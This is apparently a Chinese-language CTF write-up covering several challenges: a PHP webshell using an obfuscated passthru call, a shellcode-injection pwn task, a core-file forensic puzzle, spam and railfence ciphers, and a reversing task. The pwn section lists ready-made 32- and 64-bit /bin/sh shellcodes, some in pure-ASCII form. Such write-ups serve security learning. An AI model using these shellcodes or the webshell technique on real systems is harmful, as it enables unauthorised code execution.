web:[FSCTF 2023]webshell是啥捏
打开环境进行代码审计
符号对应字符,拼一下可以知道哭脸等于passthru执行函数,后续使用get传参外星人变量,那就直接看一下ls,出来一个文件,直接访问之后什么都没有
那么就考虑是层级问题,直接跳到根目录去查看ls得到目标文件
直接抓取目标文件记得层级还是要挑到根目录
pwn:[HNCTF 2022 Week1]safe_shellcode
查壳,ida
看主函数
声明s字节为524,后满读取768位给s显然由溢出,在这期间又使用么mset函数将s的前512位字符定义为0,后续设置一个为u先循环,历遍s字符串,后续的判断语句是确定s字符串中的字符为数字或者字母,否则输出hacker,之后将s复制给buff
这边也没找到后门函数,这个函数应该是起到验证功能,尝试运行程序发现他确实是对我们输入的字符串进行验证以判断输出内容
但是单凭现在知道的验证条件做不出来什么
应该要字节写shell,那么就看buff有无在bss段
显然是在bss段的,接着找system函数却没找到,看一下wp,发现不是构造后门函数,而是之家发送应该shell,这个shell是特定的,可以用工具生成
# 32位 短字节shellcode --> 21字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80 # 32位 纯ascii字符shellcode PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA # 32位 scanf可读取的shellcode \xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh # 64位 scanf可读取的shellcode 22字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05 # 64位 较短的shellcode 23字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05 # 64位 纯ascii字符shellcode Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
那为什是用这种shell呢
misc:攻防世界hit-the-core
文件后缀是core,Core文件是程序异常终止时的内存镜像,包含了程序崩溃时的许多有用信息,如调用栈、寄存器状态等。尝试用记事本看看
没发现什么,用010看看
找到与flag类似的字符串
复制到记事本,仔细观察可以看到每隔4个字符就是flag
直接写个脚本得到答案
crypto:攻防世界crypto垃圾邮件
打开文件结合题目可知是之前遇到过的垃圾文件加密也叫spam
在线网站解密即可
攻防世界Railfence
打开文件,一看就是置换密码
结合提示,估计是栅栏密码5栏解密,但是不知道是w型的还是m型的,后者没有解密工具
尝试一下显然是w型的
reserve:攻防世界hackme
查壳,ida
直接看string,找关键语句然后ctrl+x追踪
可以看到这是加密过程,历遍我们输入的字符串v16,对其进行加密运算,继续找加密的字符串
直接照着写个脚本,我们要求的是v20,题目脚本是对处理之后的字符串与原先字符串对比去判断是输出内容,也就是我们输入的v20 就是flag
尝试逆向发现报错了范围错误了,之前也碰到过类似问题,不过是加个&按位与运算而已,可是我加上看还是错了
可能是我加的范围还是有问题,不过这个要怎么算我也不知道,后面去看了wp才知道是0xff二进制状态为11111111,十进制为255
在很多情况下,程序会进行一些数值计算,而计算结果可能是一个较大的整数。但如果希望将结果限制在一个字节(8 位)所能表示的范围内,即 0 到 255(十六进制的 0x00 到 0xff),就可以使用 &0xff
操作。因为十六进制数 0xff
转换为二进制是 11111111
,任何数与它按位与,高位都会被清零,只保留低 8 位的值,这样就能得到一个字节范围内的结果,在使用chr()时控制ASCII值为整数,扩展 ASCII 码在 0 到 255。